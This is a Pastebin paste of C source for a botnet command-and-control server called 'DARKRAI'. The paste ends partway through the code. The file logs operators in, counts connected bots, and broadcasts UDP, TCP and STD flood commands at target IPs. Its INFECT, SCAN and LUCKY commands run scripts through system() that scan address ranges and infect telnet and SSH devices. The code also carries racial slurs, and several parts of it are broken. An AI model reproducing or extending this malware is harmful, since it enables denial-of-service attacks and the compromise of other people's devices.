Guest User

server.c

a guest
Jan 20th, 2017
50
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.75 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Skype: b1narythag0d
  4. XMPP: b1nary@nigge.rs
  5. Made Date: 7-23-16
  6. */
  7. /*
  8. *** DO NOT LEAK THIS SHIT ITS PRIVATE AF ***
  9.  
  10. # ___ __________ ____ _______ _____ _______________.___. ___
  11. # / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\
  12. # \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/
  13. # | | \ | / | \/ | \ | \\____ |
  14. # |______ / |___\____|__ /\____|__ /____|_ // ______|
  15. # \/ \/ \/ \/ \/
  16. *** DARKRAI SERVER.C ***
  17. */
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <stdint.h>
  21. #include <inttypes.h>
  22. #include <string.h>
  23. #include <sys/types.h>
  24. #include <sys/socket.h>
  25. #include <netdb.h>
  26. #include <unistd.h>
  27. #include <time.h>
  28. #include <fcntl.h>
  29. #include <sys/epoll.h>
  30. #include <errno.h>
  31. #include <pthread.h>
  32. #include <signal.h>
  33. #include <arpa/inet.h>
  34. #define MAXFDS 1000000
  35. //////////////////////////////////
  36. struct login_info {
  37. char username[20];
  38. char password[20];
  39. };
  40. static struct login_info accounts[10];
  41. struct clientdata_t {
  42. uint32_t ip;
  43. char connected;
  44. } clients[MAXFDS];
  45. struct telnetdata_t {
  46. int connected;
  47. } managements[MAXFDS];
  48. struct args {
  49. int sock;
  50. struct sockaddr_in cli_addr;
  51. };
  52. static volatile FILE *telFD;
  53. static volatile FILE *fileFD;
  54. static volatile int epollFD = 0;
  55. static volatile int listenFD = 0;
  56. static volatile int OperatorsConnected = 0;
  57. static volatile int TELFound = 0;
  58. static volatile int scannerreport;
  59. //////////////////////////////////
  60. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  61. int total = 0, got = 1;
  62. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  63. return got;
  64. }
  65. void trim(char *str) {
  66. int i;
  67. int begin = 0;
  68. int end = strlen(str) - 1;
  69. while (isspace(str[begin])) begin++;
  70. while ((end >= begin) && isspace(str[end])) end--;
  71. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  72. str[i - begin] = '\0';
  73. }
  74. static int make_socket_non_blocking (int sfd) {
  75. int flags, s;
  76. flags = fcntl (sfd, F_GETFL, 0);
  77. if (flags == -1) {
  78. perror ("fcntl");
  79. return -1;
  80. }
  81. flags |= O_NONBLOCK;
  82. s = fcntl (sfd, F_SETFL, flags);
  83. if (s == -1) {
  84. perror ("fcntl");
  85. return -1;
  86. }
  87. return 0;
  88. }
  89. static int create_and_bind (char *port) {
  90. struct addrinfo hints;
  91. struct addrinfo *result, *rp;
  92. int s, sfd;
  93. memset (&hints, 0, sizeof (struct addrinfo));
  94. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  95. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  96. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  97. s = getaddrinfo (NULL, port, &hints, &result);
  98. if (s != 0) {
  99. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  100. return -1;
  101. }
  102. for (rp = result; rp != NULL; rp = rp->ai_next) {
  103. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  104. if (sfd == -1) continue;
  105. int yes = 1;
  106. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  107. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  108. if (s == 0) {
  109. break;
  110. }
  111. close (sfd);
  112. }
  113. if (rp == NULL) {
  114. fprintf (stderr, "Could not bind\n");
  115. return -1;
  116. }
  117. freeaddrinfo (result);
  118. return sfd;
  119. }
  120. void broadcast(char *msg, int us, char *sender)
  121. {
  122. int sendMGM = 1;
  123. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  124. char *wot = malloc(strlen(msg) + 10);
  125. memset(wot, 0, strlen(msg) + 10);
  126. strcpy(wot, msg);
  127. trim(wot);
  128. time_t rawtime;
  129. struct tm * timeinfo;
  130. time(&rawtime);
  131. timeinfo = localtime(&rawtime);
  132. char *timestamp = asctime(timeinfo);
  133. trim(timestamp);
  134. int i;
  135. for(i = 0; i < MAXFDS; i++)
  136. {
  137. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  138. if(sendMGM && managements[i].connected)
  139. {
  140. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  141. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  142. send(i, ": ", 2, MSG_NOSIGNAL);
  143. }
  144. printf("sent to fd: %d\n", i);
  145. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  146. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  147. else send(i, "\n", 1, MSG_NOSIGNAL);
  148. }
  149. free(wot);
  150. }
  151. void *BotEventLoop(void *useless) {
  152. struct epoll_event event;
  153. struct epoll_event *events;
  154. int s;
  155. events = calloc (MAXFDS, sizeof event);
  156. while (1) {
  157. int n, i;
  158. n = epoll_wait (epollFD, events, MAXFDS, -1);
  159. for (i = 0; i < n; i++) {
  160. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  161. clients[events[i].data.fd].connected = 0;
  162. close(events[i].data.fd);
  163. continue;
  164. }
  165. else if (listenFD == events[i].data.fd) {
  166. while (1) {
  167. struct sockaddr in_addr;
  168. socklen_t in_len;
  169. int infd, ipIndex;
  170.  
  171. in_len = sizeof in_addr;
  172. infd = accept (listenFD, &in_addr, &in_len);
  173. if (infd == -1) {
  174. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  175. else {
  176. perror ("accept");
  177. break;
  178. }
  179. }
  180.  
  181. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  182. int dup = 0;
  183. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  184. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  185. if(clients[ipIndex].ip == clients[infd].ip) {
  186. dup = 1;
  187. break;
  188. }}
  189. if(dup) {
  190. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  191. close(infd);
  192. continue;
  193. }
  194. s = make_socket_non_blocking (infd);
  195. if (s == -1) { close(infd); break; }
  196. event.data.fd = infd;
  197. event.events = EPOLLIN | EPOLLET;
  198. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  199. if (s == -1) {
  200. perror ("epoll_ctl");
  201. close(infd);
  202. break;
  203. }
  204. clients[infd].connected = 1;
  205. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  206. }
  207. continue;
  208. }
  209. else {
  210. int datafd = events[i].data.fd;
  211. struct clientdata_t *client = &(clients[datafd]);
  212. int done = 0;
  213. client->connected = 1;
  214. while (1) {
  215. ssize_t count;
  216. char buf[2048];
  217. memset(buf, 0, sizeof buf);
  218. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  219. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  220. trim(buf);
  221. if(strcmp(buf, "PING") == 0) {
  222. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  223. continue;
  224. }
  225. if(strstr(buf, "REPORT ") == buf) {
  226. char *line = strstr(buf, "REPORT ") + 7;
  227. fprintf(telFD, "%s\n", line);
  228. fflush(telFD);
  229. TELFound++;
  230. continue;
  231. }
  232. if(strstr(buf, "PROBING") == buf) {
  233. char *line = strstr(buf, "PROBING");
  234. scannerreport = 1;
  235. continue;
  236. }
  237. if(strstr(buf, "REMOVING PROBE") == buf) {
  238. char *line = strstr(buf, "REMOVING PROBE");
  239. scannerreport = 0;
  240. continue;
  241. }
  242. if(strcmp(buf, "PONG") == 0) {
  243. continue;
  244. }
  245. printf("buf: \"%s\"\n", buf);
  246. }
  247. if (count == -1) {
  248. if (errno != EAGAIN) {
  249. done = 1;
  250. }
  251. break;
  252. }
  253. else if (count == 0) {
  254. done = 1;
  255. break;
  256. }
  257. if (done) {
  258. client->connected = 0;
  259. close(datafd);
  260. }}}}}}
  261. unsigned int BotsConnected() {
  262. int i = 0, total = 0;
  263. for(i = 0; i < MAXFDS; i++) {
  264. if(!clients[i].connected) continue;
  265. total++;
  266. }
  267. return total;
  268. }
  269. void *TitleWriter(void *sock) {
  270. int datafd = (int)sock;
  271. char string[2048];
  272. while(1) {
  273. memset(string, 0, 2048);
  274. sprintf(string, "%c]0;BOT COUNT: %d| NIGGAS: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  275. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  276. sleep(2);
  277. }}
  278. int Find_Login(char *str) {
  279. FILE *fp;
  280. int line_num = 0;
  281. int find_result = 0, find_line=0;
  282. char temp[512];
  283.  
  284. if((fp = fopen("login.txt", "r")) == NULL){
  285. return(-1);
  286. }
  287. while(fgets(temp, 512, fp) != NULL){
  288. if((strstr(temp, str)) != NULL){
  289. find_result++;
  290. find_line = line_num;
  291. }
  292. line_num++;
  293. }
  294. if(fp)
  295. fclose(fp);
  296. if(find_result == 0)return 0;
  297. return find_line;
  298. }
  299. void *BotWorker(void *sock) {
  300. int datafd = (int)sock;
  301. int find_line;
  302. OperatorsConnected++;
  303. pthread_t title;
  304. char buf[2048];
  305. char* username;
  306. char* password;
  307. memset(buf, 0, sizeof buf);
  308. char botnet[2048];
  309. memset(botnet, 0, 2048);
  310. char botcount [2048];
  311. memset(botcount, 0, 2048);
  312. char statuscount [2048];
  313. memset(statuscount, 0, 2048);
  314.  
  315. FILE *fp;
  316. int i=0;
  317. int c;
  318. fp=fopen("login.txt", "r");
  319. while(!feof(fp)) {
  320. c=fgetc(fp);
  321. ++i;
  322. }
  323. int j=0;
  324. rewind(fp);
  325. while(j!=i-1) {
  326. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  327. ++j;
  328. }
  329.  
  330. if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  331. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  332. trim(buf);
  333. char* nickstring;
  334. sprintf(accounts[find_line].username, buf);
  335. nickstring = ("%s", buf);
  336. find_line = Find_Login(nickstring);
  337. if(strcmp(nickstring, accounts[find_line].username) == 0){
  338. if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  339. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  340. trim(buf);
  341. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  342. memset(buf, 0, 2048);
  343. goto Banner;
  344. }
  345. failed:
  346. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  347. char failed_line1[80];
  348. char ascii_failed_line1 [80];
  349. char ascii_failed_line2 [80];
  350. char ascii_failed_line3 [80];
  351. char ascii_failed_line4 [80];
  352. char ascii_failed_line5 [80];
  353. char ascii_failed_line6 [80];
  354. char ascii_failed_line7 [80];
  355. char ascii_failed_line8 [80];
  356. char ascii_failed_line9 [80];
  357. char ascii_failed_line10 [80];
  358. char ascii_failed_line11 [80];
  359. char ascii_failed_line12 [80];
  360. char ascii_failed_line13 [80];
  361. char ascii_failed_line14 [80];
  362. char ascii_failed_line15 [80];
  363. char ascii_failed_line16 [80];
  364. char ascii_failed_line17 [80];
  365.  
  366. sprintf(ascii_failed_line1, "\x1b[31m / \ \r\n");
  367. sprintf(ascii_failed_line2, "\x1b[31m |\_/| \r\n");
  368. sprintf(ascii_failed_line3, "\x1b[31m |---| \r\n");
  369. sprintf(ascii_failed_line4, "\x1b[31m | | \r\n");
  370. sprintf(ascii_failed_line5, "\x1b[31m | | \r\n");
  371. sprintf(ascii_failed_line6, "\x1b[31m _ |=-=| _ \r\n");
  372. sprintf(ascii_failed_line7, "\x1b[31m _ / \| |/ \ _ \r\n");
  373. sprintf(ascii_failed_line8, "\x1b[31m / \| | | | \ \r\n");
  374. sprintf(ascii_failed_line9, "\x1b[31m| | | | | \ \r\n");
  375. sprintf(ascii_failed_line10, "\x1b[31m| | | | | | \r\n");
  376. sprintf(ascii_failed_line11, "\x1b[31m| - - - - |) ) \r\n");
  377. sprintf(ascii_failed_line12, "\x1b[31m| / \r\n");
  378. sprintf(ascii_failed_line13, "\x1b[31m \ / \r\n");
  379. sprintf(ascii_failed_line14, "\x1b[31m \ / \r\n");
  380. sprintf(ascii_failed_line15, "\x1b[31m \ / \r\n");
  381. sprintf(ascii_failed_line16, "\x1b[31m \ / \r\n");
  382. sprintf(ascii_failed_line17, "\x1b[31m | | \r\n");
  383.  
  384. sprintf(failed_line1, "\r\n\x1b[31mWRONG ANSWER BITCH!!\r\n");
  385.  
  386. if(send(datafd, ascii_failed_line1, strlen(ascii_failed_line1), MSG_NOSIGNAL) == -1) goto end;
  387. if(send(datafd, ascii_failed_line2, strlen(ascii_failed_line2), MSG_NOSIGNAL) == -1) goto end;
  388. if(send(datafd, ascii_failed_line3, strlen(ascii_failed_line3), MSG_NOSIGNAL) == -1) goto end;
  389. if(send(datafd, ascii_failed_line4, strlen(ascii_failed_line4), MSG_NOSIGNAL) == -1) goto end;
  390. if(send(datafd, ascii_failed_line5, strlen(ascii_failed_line5), MSG_NOSIGNAL) == -1) goto end;
  391. if(send(datafd, ascii_failed_line6, strlen(ascii_failed_line6), MSG_NOSIGNAL) == -1) goto end;
  392. if(send(datafd, ascii_failed_line7, strlen(ascii_failed_line7), MSG_NOSIGNAL) == -1) goto end;
  393. if(send(datafd, ascii_failed_line8, strlen(ascii_failed_line8), MSG_NOSIGNAL) == -1) goto end;
  394. if(send(datafd, ascii_failed_line9, strlen(ascii_failed_line9), MSG_NOSIGNAL) == -1) goto end;
  395. if(send(datafd, ascii_failed_line10, strlen(ascii_failed_line10), MSG_NOSIGNAL) == -1) goto end;
  396. if(send(datafd, ascii_failed_line11, strlen(ascii_failed_line11), MSG_NOSIGNAL) == -1) goto end;
  397. if(send(datafd, ascii_failed_line12, strlen(ascii_failed_line12), MSG_NOSIGNAL) == -1) goto end;
  398. if(send(datafd, ascii_failed_line13, strlen(ascii_failed_line13), MSG_NOSIGNAL) == -1) goto end;
  399. if(send(datafd, ascii_failed_line14, strlen(ascii_failed_line14), MSG_NOSIGNAL) == -1) goto end;
  400. if(send(datafd, ascii_failed_line15, strlen(ascii_failed_line15), MSG_NOSIGNAL) == -1) goto end;
  401. if(send(datafd, ascii_failed_line16, strlen(ascii_failed_line16), MSG_NOSIGNAL) == -1) goto end;
  402. if(send(datafd, ascii_failed_line17, strlen(ascii_failed_line17), MSG_NOSIGNAL) == -1) goto end;
  403.  
  404. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  405. sleep(5);
  406. goto end;
  407.  
  408. Banner:
  409. pthread_create(&title, NULL, &TitleWriter, sock);
  410. char ascii_banner_line1 [5000];
  411. char ascii_banner_line2 [5000];
  412. char ascii_banner_line3 [5000];
  413. char ascii_banner_line4 [5000];
  414. char ascii_banner_line5 [5000];
  415. char ascii_banner_line6 [5000];
  416. char ascii_banner_line7 [5000];
  417. char ascii_banner_line8 [5000];
  418. char ascii_banner_line9 [5000];
  419. char ascii_banner_line10 [5000];
  420. char ascii_banner_line11 [5000];
  421. char ascii_banner_line12 [5000];
  422. char ascii_banner_line13 [5000];
  423. char ascii_banner_line14 [5000];
  424. char welcome_line [80];
  425. char banner_text_line1 [80];
  426. char banner_text_line2 [80];
  427. char banner_bot_count [2048];
  428. memset(banner_bot_count, 0, 2048);
  429.  
  430. sprintf(ascii_banner_line1, "\x1b[34m DDDDDDD AAAAAAAA RRRRRR KK K RRRRRR AAAAAAAA I \r\n");
  431. sprintf(ascii_banner_line2, "\x1b[34mDDDDDDDDD AAAAAAAAAA RRRRRRRR KKK KK RRRRRRRR AAAAAAAAAA II \r\n");
  432. sprintf(ascii_banner_line3, "\x1b[34mDDD `DDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  433. sprintf(ascii_banner_line4, "\x1b[34mDDD DDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  434. sprintf(ascii_banner_line5, "\x1b[34mDDD DDD AAAAAAAAAA RRR RRR KKK KKK RRR RRR AAAAAAAAAA III \r\n");
  435. sprintf(ascii_banner_line6, "\x1b[34mDDD DDD AAAAAAAAAA RRR RRRR KKKKKKKKKK RRR RRRR AAAAAAAAAA III \r\n");
  436. sprintf(ascii_banner_line7, "\x1b[34mDDD DDD AAA AAA RRRRRRRRR KKKKKKKKK RRRRRRRRR AAA AAA III \r\n");
  437. sprintf(ascii_banner_line8, "\x1b[34mDDD DDD AAA AAA RRRR RRRR KKK KKK RRRR RRRR AAA AAA III \r\n");
  438. sprintf(ascii_banner_line9, "\x1b[34mDDD DDD AAA AAA RRR `RRR KKK KKK RRR RRR AAA AAA III \r\n");
  439. sprintf(ascii_banner_line10, "\x1b[34mDDD DDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  440. sprintf(ascii_banner_line11, "\x1b[34mDDDDDDDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  441. sprintf(ascii_banner_line12, "\x1b[34mDDDDDDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  442. sprintf(ascii_banner_line13, "\x1b[34m AA RR RR KK KK RR RR AA II \r\n");
  443. sprintf(ascii_banner_line14, "\x1b[34m A R R K K R R A I \r\n");
  444. //Created By ~B1NARY~ | Skype: b1narythag0d | XMPP: b1nary@nigge.rs
  445. sprintf(welcome_line, "\r\n\x1b[34m[-] BOT COUNT: %d [+] Welcome, %s [+] Niggas %d [-]\r\n", BotsConnected(), accounts[find_line].username, OperatorsConnected);
  446. sprintf(banner_text_line1, "\x1b[34m [-] TYPE HELP FOR LIST OF COMMMANDS [-]\r\n");
  447. sprintf(banner_text_line2, "\x1b[34m [-] TYPE ATTACK FOR ATTACK GUI [+]");
  448.  
  449. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  450. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  451. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  452. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  453. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  454. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  455. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  456. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  457. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  458. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  459. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  460. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  461. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  462. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  463. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  464. while(1) {
  465. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  466. if(send(datafd, banner_text_line1, strlen(banner_text_line1), MSG_NOSIGNAL) == -1) goto end;
  467. if(send(datafd, banner_text_line2, strlen(banner_text_line2), MSG_NOSIGNAL) == -1) goto end;
  468. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  469. break;
  470. }
  471. pthread_create(&title, NULL, &TitleWriter, sock);
  472. managements[datafd].connected = 1;
  473.  
  474. while(fdgets(buf, sizeof buf, datafd) > 0)
  475. {
  476.  
  477. if(strstr(buf, "ATTACK"))
  478. {
  479. int choice;
  480.  
  481. char ATTACK_MENU [2048];
  482.  
  483. char UDP_ATTACK [2048];
  484. char UDP_ATTACK_MESSAGE [2048];
  485. char UDP_ATTACK_IP;
  486. char UDP_ATTACK_PORT;
  487. char UDP_ATTACK_SEC;
  488. char UDP_ATTACK_SEND_COMMAND;
  489.  
  490. char TCP_ATTACK [2048];
  491. char TCP_ATTACK_MESSAGE [2048];
  492. char TCP_ATTACK_IP;
  493. char TCP_ATTACK_PORT;
  494. char TCP_ATTACK_SEC;
  495. char TCP_ATTACK_SEND_COMMAND;
  496.  
  497. char STD_ATTACK [2048];
  498. char STD_ATTACK_MESSAGE [2048];
  499. char STD_ATTACK_IP;
  500. char STD_ATTACK_PORT;
  501. char STD_ATTACK_SEC;
  502. char STD_ATTACK_SEND_COMMAND;
  503.  
  504. sprintf(ATTACK_MENU, "[+] ATTACK OPTIONS [+]");
  505. if(send(datafd, ATTACK_MENU, strlen(ATTACK_MENU), MSG_NOSIGNAL) == -1) goto end;
  506. do
  507. {
  508. sprintf(UDP_ATTACK, "[-] 1. UDP ATTACK\r\n");
  509. sprintf(TCP_ATTACK, "[-] 2. TCP ATTACK\r\n");
  510. sprintf(STD_ATTACK, "[-] 3. STD Attack\r\n");
  511.  
  512. if(send(datafd, UDP_ATTACK, strlen(UDP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  513. if(send(datafd, TCP_ATTACK, strlen(TCP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  514. if(send(datafd, STD_ATTACK, strlen(STD_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  515. scanf("%d", &choice);
  516.  
  517. switch(choice)
  518. {
  519. case 1:
  520.  
  521. sprintf(UDP_ATTACK_IP, "IP: ");
  522. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  523. scanf("%d", &UDP_ATTACK_IP);
  524.  
  525. sprintf(UDP_ATTACK_PORT, "Port: ");
  526. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  527. scanf("%d", &UDP_ATTACK_PORT);
  528.  
  529. sprintf("Sec: ", &UDP_ATTACK_SEC);
  530. if(send(datafd, UDP_ATTACK_SEC, strlen(UDP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  531. scanf("%d", &UDP_ATTACK_SEC);
  532.  
  533. sprintf(UDP_ATTACK_SEND_COMMAND, "!* UDP %d %d %d 32 0 10", UDP_ATTACK_IP, UDP_ATTACK_PORT, UDP_ATTACK_SEC);
  534. broadcast(UDP_ATTACK_SEND_COMMAND, datafd, "SENT");
  535. if(send(datafd, UDP_ATTACK_SEND_COMMAND, strlen(UDP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  536.  
  537. sprintf(UDP_ATTACK_MESSAGE, "UDP Attack Sent!");
  538. if(send(datafd, UDP_ATTACK_MESSAGE, strlen(UDP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  539.  
  540. continue;
  541. case 2:
  542.  
  543. sprintf(TCP_ATTACK_IP, "IP: ");
  544. if(send(datafd, TCP_ATTACK_IP, strlen(TCP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  545. scanf("%d", &TCP_ATTACK_IP);
  546.  
  547. sprintf(TCP_ATTACK_PORT, "Port: ");
  548. if(send(datafd, TCP_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  549. scanf("%d", &TCP_ATTACK_PORT);
  550.  
  551. sprintf(TCP_ATTACK_SEC, "Sec: ");
  552. if(send(datafd, TCP_ATTACK_SEC, strlen(TCP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  553. scanf("%d", &TCP_ATTACK_SEC);
  554.  
  555. sprintf(TCP_ATTACK_SEND_COMMAND, "!* TCP %d %d %d 32 all 0 10", TCP_ATTACK_IP, TCP_ATTACK_PORT, TCP_ATTACK_SEC);
  556. broadcast(TCP_ATTACK_SEND_COMMAND, datafd, "SENT");
  557. if(send(datafd, TCP_ATTACK_SEND_COMMAND, strlen(TCP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  558.  
  559. sprintf(TCP_ATTACK_MESSAGE, "TCP Attack Sent!");
  560. if(send(datafd, TCP_ATTACK_MESSAGE, strlen(TCP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  561.  
  562. continue;
  563.  
  564. case 3:
  565.  
  566. sprintf(STD_ATTACK_IP, "IP: ");
  567. if(send(datafd, STD_ATTACK_IP, strlen(STD_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  568. scanf("%d", &STD_ATTACK_IP);
  569.  
  570. sprintf(STD_ATTACK_PORT, "Port: ");
  571. if(send(datafd, STD_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  572. scanf("%d", &STD_ATTACK_PORT);
  573.  
  574. sprintf(STD_ATTACK_SEND_COMMAND, "!* STD %d %d %d", STD_ATTACK_IP, STD_ATTACK_PORT, STD_ATTACK_SEC);
  575. broadcast(STD_ATTACK_SEND_COMMAND, datafd, "SENT");
  576. if(send(datafd, STD_ATTACK_SEND_COMMAND, strlen(STD_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  577.  
  578. sprintf(STD_ATTACK_MESSAGE, "STD Attack Sent!");
  579. if(send(datafd, STD_ATTACK_MESSAGE, strlen(STD_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  580.  
  581. continue;
  582.  
  583.  
  584. }}
  585. while(choice !=3);
  586. }
  587. if(strstr(buf, "BOTS"))
  588. {
  589. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  590. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  591. continue;
  592. }
  593. if(strstr(buf, "STATUS"))
  594. {
  595. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  596. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  597. continue;
  598. }
  599. if(strstr(buf, "STATS"))
  600. {
  601. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  602. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  603. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  604. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  605. continue;
  606. }
  607. if(strstr(buf, "INFECT"))
  608. {
  609. system("python telnet.py filtered.txt");
  610. continue;
  611. }
  612. if(strstr(buf, "REINFECT"))
  613. {
  614. system("python w.py filtered_ssh.txt");
  615. continue;
  616. }
  617. if(strstr(buf, "FILTER"))
  618. {
  619. system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt");
  620. continue;
  621. }
  622. if(strstr(buf, "LOAD"))
  623. {
  624. system("python scan.py 376 LOAD 88 1");
  625. continue;
  626. }
  627. if(strstr(buf, "SCAN1"))
  628. {
  629. system("python scan.py 376 B 119.92 lol");
  630. continue;
  631. }
  632. if(strstr(buf, "SCAN2"))
  633. {
  634. system("python scan.py 376 B 119.93 lol");
  635. continue;
  636. }
  637. if(strstr(buf, "SCAN3")) {
  638. system("python scan.py 376 B 125.25 1");
  639. continue;
  640. }
  641. if(strstr(buf, "SCAN4"))
  642. {
  643. system("python scan.py 376 B 125.26 1");
  644. continue;
  645. }
  646. if(strstr(buf, "SCAN5")) {
  647. system("python scan.py 376 B 125.27 1");
  648. continue;
  649. }
  650. if(strstr(buf, "SCAN6")) {
  651. system("python scan.py 376 B 113.53 1");
  652. continue;
  653. }
  654. if(strstr(buf, "SCAN7"))
  655. {
  656. system("python scan.py 376 B 180.180 1");
  657. continue;
  658. }
  659. if(strstr(buf, "SCAN8"))
  660. {
  661. system("python scan.py 376 B 185.52 1");
  662. continue;
  663. }
  664. if(strstr(buf, "SCAN9"))
  665. {
  666. system("python scan.py 376 B 122.52 1");
  667. continue;
  668. }
  669. if(strstr(buf, "SCAN10"))
  670. {
  671. system("python scan.py 376 B 122.53 1");
  672. continue;
  673. }
  674. if(strstr(buf, "SCAN11"))
  675. {
  676. system("python scan.py 376 B 101.102");
  677. continue;
  678. }
  679. if(strstr(buf, "LUCKY"))
  680. {
  681. system("python scan.py 376 LUCKY 88 1");
  682. continue;
  683. }
  684. if(strstr(buf, "LUCKY2"))
  685. {
  686. system("python scan.py 376 LUCKY2 88 1");
  687. continue;
  688. }
  689. if(strstr(buf, "SCAN_OFF"))
  690. {
  691. system("killall -9 python");
